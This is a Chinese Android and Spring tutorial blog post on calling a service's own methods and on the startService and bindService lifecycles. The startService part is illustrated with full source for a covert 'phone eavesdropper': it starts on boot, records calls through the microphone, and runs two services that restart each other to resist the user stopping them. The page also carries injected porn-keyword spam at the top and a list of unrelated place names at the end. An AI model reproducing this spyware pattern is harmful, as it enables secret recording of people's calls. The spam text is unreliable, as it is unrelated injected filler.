最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

關(guān)于同一個(gè)service調(diào)用service本身的方法

 更新時(shí)間:2022年06月21日 11:52:22   作者:緣來(lái)是你阿  
這篇文章主要介紹了關(guān)于同一個(gè)service調(diào)用service本身的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教

同一個(gè)service調(diào)用service本身

如果同一個(gè)service調(diào)用service本身的方法,出現(xiàn)了事務(wù)不能控制。

解決方案

1.在spring配置文件中配置 

<!-- expose-proxy service調(diào)用aop實(shí)現(xiàn)自身調(diào)用自身方法-->?? ?
<aop:aspectj-autoproxy proxy-target-class="true" expose-proxy="true"/>

2.在service中用  AopContext.currentProxy() 方法調(diào)用

例如調(diào)用myService的mySave方法:

((myService) AopContext.currentProxy()).mySave(myPojo);

service的兩種調(diào)用方法

一、startService開(kāi)啟服務(wù)

生命周期如下:

onCreate()–> onStartCommand() —> onDestory();

如果服務(wù)已經(jīng)開(kāi)啟,不會(huì)重復(fù)的執(zhí)行onCreate(), 而是會(huì)調(diào)用onStartCommand()。服務(wù)停止的時(shí)候調(diào)用onDestory()。服務(wù)只會(huì)被停止一次。

下面是一個(gè)電話竊聽(tīng)器的實(shí)例:

在Manifest文件中配置必要的權(quán)限和組件。設(shè)置一個(gè)監(jiān)聽(tīng)開(kāi)機(jī)的廣播接收者。

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<service android:name="com.itheima.phonelistener.SystemService" >
</service>
<service android:name="com.itheima.phonelistener.SystemService2" >
</service>
<receiver android:name="com.itheima.phonelistener.BootReceiver" >
    <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

BootReceiver.java

監(jiān)聽(tīng)開(kāi)機(jī)事件。

public class BootReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Intent i = new Intent(context,SystemService.class);
        context.startService(i);
    }
}

SystemService.java

兩個(gè)Service類中的一個(gè)。兩個(gè)類采用循環(huán)調(diào)用機(jī)制,當(dāng)其中一個(gè)Service被destroy時(shí),系統(tǒng)調(diào)用另一個(gè)Service。這樣起到了防止用戶關(guān)閉的流氓效果。

public class SystemService extends Service {
    // 電話管理器
    private TelephonyManager tm;
    // 監(jiān)聽(tīng)器對(duì)象
    private MyListener listener;
    //聲明錄音機(jī)
    private MediaRecorder mediaRecorder;
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    // 服務(wù)創(chuàng)建的時(shí)候調(diào)用的方法
    @Override
    public void onCreate() {
        // 后臺(tái)監(jiān)聽(tīng)電話的呼叫狀態(tài)。
        // 得到電話管理器
        tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
        listener = new MyListener();
        tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
        super.onCreate();
    }
    private class MyListener extends PhoneStateListener {
        // 當(dāng)電話的呼叫狀態(tài)發(fā)生變化的時(shí)候調(diào)用的方法
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE://空閑狀態(tài)。
                    if(mediaRecorder!=null){
                        //8.停止捕獲
                        mediaRecorder.stop();
                        //9.釋放資源
                        mediaRecorder.release();
                        mediaRecorder = null;
                        System.out.println("錄制完畢,上傳文件到服務(wù)器。");
                    }
                    break;
                case TelephonyManager.CALL_STATE_RINGING://零響狀態(tài)。
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態(tài)
                    //開(kāi)始錄音
                    //1.實(shí)例化一個(gè)錄音機(jī)
                    mediaRecorder = new MediaRecorder();
                    //2.指定錄音機(jī)的聲音源
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //3.設(shè)置錄制的文件輸出的格式
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
                    //4.指定錄音文件的名稱
                    File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
                    mediaRecorder.setOutputFile(file.getAbsolutePath());
                    //5.設(shè)置音頻的編碼
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
                    //6.準(zhǔn)備開(kāi)始錄音
                    mediaRecorder.prepare();
                    //7.開(kāi)始錄音
                    mediaRecorder.start();
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    // 服務(wù)銷毀的時(shí)候調(diào)用的方法
    @Override
    public void onDestroy() {
        super.onDestroy();
        // 取消電話的監(jiān)聽(tīng)
        System.out.println("ondestory");
        Intent i = new Intent(this,SystemService2.class);
        startService(i);
        tm.listen(listener, PhoneStateListener.LISTEN_NONE);
        listener = null;
    }
}

MainActivity.java

控制Service的開(kāi)啟和關(guān)閉。

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
    public void start(View view){
        //開(kāi)啟服務(wù)。
        Intent intent = new Intent(this,SystemService.class);
        startService(intent);
    }
    public void stop(View view){
        //停止服務(wù)。
        Intent intent = new Intent(this,SystemService.class);
        stopService(intent);
    }
}

二、bindService綁定服務(wù)

用綁定方式開(kāi)啟的Service,其生命周期為:onCreate() —>onBind();—>onunbind()–>onDestory(); 沒(méi)有onStartCommand。

步驟:

1. 服務(wù)要暴露方法,必須在Service中定義一個(gè)內(nèi)部類——中間人MiddlePerson,實(shí)現(xiàn)定義好的接口中的方法(callMethodInService,用于調(diào)用Service中的某方法)。

2. 實(shí)現(xiàn)服務(wù)成功綁定的代碼(onBind方法),返回一個(gè)中間人new MiddlePerson()。

3. 在Activity中的bind()方法中采用bindService方法開(kāi)啟服務(wù)。

Intent intent = new Intent(this, MyService.class);
conn = new MyConn();
bindService(intent, conn, BIND_AUTO_CREATE);

4. 當(dāng)服務(wù)被連接或失去連接時(shí),分別實(shí)現(xiàn)ServiceConnection接口中的onServiceConnected()和onServiceDisconnected()方法。

5. 最后就可以通過(guò)中間人調(diào)用服務(wù)里面的方法了。

mp.callMethodInService(55);

MainActivity.java

public class MyService extends Service {
    //2.實(shí)現(xiàn)服務(wù)成功綁定的代碼 ,返回一個(gè)中間人。
    @Override
    public IBinder onBind(Intent arg0) {
        System.out.println("服務(wù)被成功綁定了。。。。");
        return new MiddlePerson();
    }
    @Override
    public boolean onUnbind(Intent intent) {
        System.out.println("onunbind");
        return super.onUnbind(intent);
    }
    @Override
    public void onCreate() {
        System.out.println("oncreate");
        super.onCreate();
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        System.out.println("onstartcommand");
        return super.onStartCommand(intent, flags, startId);
    }
    @Override
    public void onDestroy() {
        System.out.println("ondestory");
        super.onDestroy();
    }
    /**
     * 這是服務(wù)里面的一個(gè)方法
     */
    public void methodInService(){
        Toast.makeText(this, "哈哈,服務(wù)給你辦好了暫住證。", 0).show();
    }
    //1.第一步服務(wù)要暴露方法 必須要有一個(gè)中間人
    private class MiddlePerson extends Binder implements IMiddlePerson{
        /**
         * 代辦暫住證
         * @param money 給錢(qián) 50塊錢(qián)以上才給辦。
         */
        public void callMethodInService(int money){
            if(money>=50){
                methodInService();
            }else{
                Toast.makeText(getApplicationContext(), "多準(zhǔn)備點(diǎn)錢(qián)。", 0).show();
            }
        }
        /**
         * 陪領(lǐng)導(dǎo)打麻將
         */
        public void playMajiang(){
            System.out.println("陪領(lǐng)導(dǎo)打麻將。");
        }
    }
}

三、兩種方法的區(qū)別

  • start方式開(kāi)啟服務(wù),一旦服務(wù)開(kāi)啟,就和調(diào)用者(Activity)沒(méi)有任何關(guān)系了。開(kāi)啟者退出后,如果開(kāi)啟者掛掉,服務(wù)還在后臺(tái)長(zhǎng)期的運(yùn)行。而且開(kāi)啟者沒(méi)有辦法去調(diào)用服務(wù)里面的方法。
  • bind方式開(kāi)啟服務(wù),一旦調(diào)用者掛掉,服務(wù)也會(huì)跟著掛掉。不求同時(shí)生,但求同時(shí)死。而且開(kāi)啟者可以調(diào)用服務(wù)里面的方法。

以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • SparkSQL開(kāi)窗函數(shù)分析使用示例

    SparkSQL開(kāi)窗函數(shù)分析使用示例

    開(kāi)窗函數(shù)的引入是為了既顯示聚集前的數(shù)據(jù),又顯示聚集后的數(shù)據(jù)。即在每一行的最后一列添加聚合函數(shù)的結(jié)果。開(kāi)窗用于為行定義一個(gè)窗口,它對(duì)一組值進(jìn)行操作,不需要使用 GROUP BY 子句對(duì)數(shù)據(jù)進(jìn)行分組,能夠在同一行中同時(shí)返回基礎(chǔ)行的列和聚合列
    2023-01-01
  • SpringCloud Ribbon與OpenFeign詳解如何實(shí)現(xiàn)服務(wù)調(diào)用

    SpringCloud Ribbon與OpenFeign詳解如何實(shí)現(xiàn)服務(wù)調(diào)用

    這篇文章主要介紹了SpringCloud Ribbon與OpenFeign實(shí)現(xiàn)服務(wù)調(diào)用的過(guò)程,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2022-09-09
  • springboot整合minio的超詳細(xì)教程

    springboot整合minio的超詳細(xì)教程

    在很多互聯(lián)網(wǎng)產(chǎn)品應(yīng)用中,都涉及到各種與文件存儲(chǔ)相關(guān)的業(yè)務(wù),隨著技術(shù)的發(fā)展,關(guān)于如何解決分布式文件存儲(chǔ)也有了比較成熟的方案,比如私有云部署下可以考慮fastdfs,阿里云對(duì)象存儲(chǔ)oss,七牛云等,本篇將為你介紹另一種文件存儲(chǔ)方式,即MinIO,需要的朋友可以參考下
    2023-12-12
  • Jenkins之Log Parse使用方法詳解

    Jenkins之Log Parse使用方法詳解

    這篇文章主要為大家詳細(xì)介紹了Jenkins插件Log Parse使用方法,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-08-08
  • logback關(guān)閉某個(gè)包的日志操作

    logback關(guān)閉某個(gè)包的日志操作

    這篇文章主要介紹了logback關(guān)閉某個(gè)包的日志操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2020-12-12
  • Java單例模式簡(jiǎn)單示例

    Java單例模式簡(jiǎn)單示例

    這篇文章主要介紹了Java單例模式,結(jié)合實(shí)例形式簡(jiǎn)單分析了java單例模式的定義與使用技巧,需要的朋友可以參考下
    2017-06-06
  • Java程序執(zhí)行時(shí)間的2種簡(jiǎn)單方法

    Java程序執(zhí)行時(shí)間的2種簡(jiǎn)單方法

    這篇文章介紹了Java程序執(zhí)行時(shí)間的2種簡(jiǎn)單方法,有需要的朋友可以參考一下
    2013-09-09
  • 詳解JVM基礎(chǔ)之字節(jié)碼的增強(qiáng)技術(shù)

    詳解JVM基礎(chǔ)之字節(jié)碼的增強(qiáng)技術(shù)

    字節(jié)碼增強(qiáng)技術(shù)就是一類對(duì)現(xiàn)有字節(jié)碼進(jìn)行修改或者動(dòng)態(tài)生成全新字節(jié)碼文件的技術(shù)。接下來(lái),我們將從最直接操縱字節(jié)碼的實(shí)現(xiàn)方式開(kāi)始深入進(jìn)行剖析,感興趣的可以了解一下
    2022-10-10
  • Java中通過(guò)反射實(shí)現(xiàn)代理Proxy代碼實(shí)例

    Java中通過(guò)反射實(shí)現(xiàn)代理Proxy代碼實(shí)例

    這篇文章主要介紹了Java中通過(guò)反射實(shí)現(xiàn)代理Proxy代碼實(shí)例,java實(shí)現(xiàn)代理可以通過(guò)java.lang.reflect.Proxy接口結(jié)合java.lang.reflect.InvocationHandler來(lái)實(shí)現(xiàn),需要的朋友可以參考下
    2023-08-08
  • 簡(jiǎn)單說(shuō)說(shuō)Java SE、Java EE、Java ME三者之間的區(qū)別

    簡(jiǎn)單說(shuō)說(shuō)Java SE、Java EE、Java ME三者之間的區(qū)別

    本篇文章小編就為大家簡(jiǎn)單說(shuō)說(shuō)Java SE、Java EE、Java ME三者之間的區(qū)別。需要的朋友可以過(guò)來(lái)參考下,希望對(duì)大家有所幫助
    2013-10-10

最新評(píng)論

瑞丽市| 新泰市| 栾城县| 兴和县| 靖边县| 沙湾县| 资源县| 阳泉市| 长垣县| 和林格尔县| 盐边县| 陵水| 钟祥市| 涿鹿县| 汉川市| 伊宁市| 章丘市| 七台河市| 文山县| 宣化县| 金坛市| 枝江市| 蒙山县| 四川省| 铜梁县| 西充县| 剑阁县| 新龙县| 凭祥市| 桂林市| 西峡县| 安丘市| 武冈市| 肇庆市| 东莞市| 荥经县| 盐源县| 韶关市| 上犹县| 漳浦县| 山西省|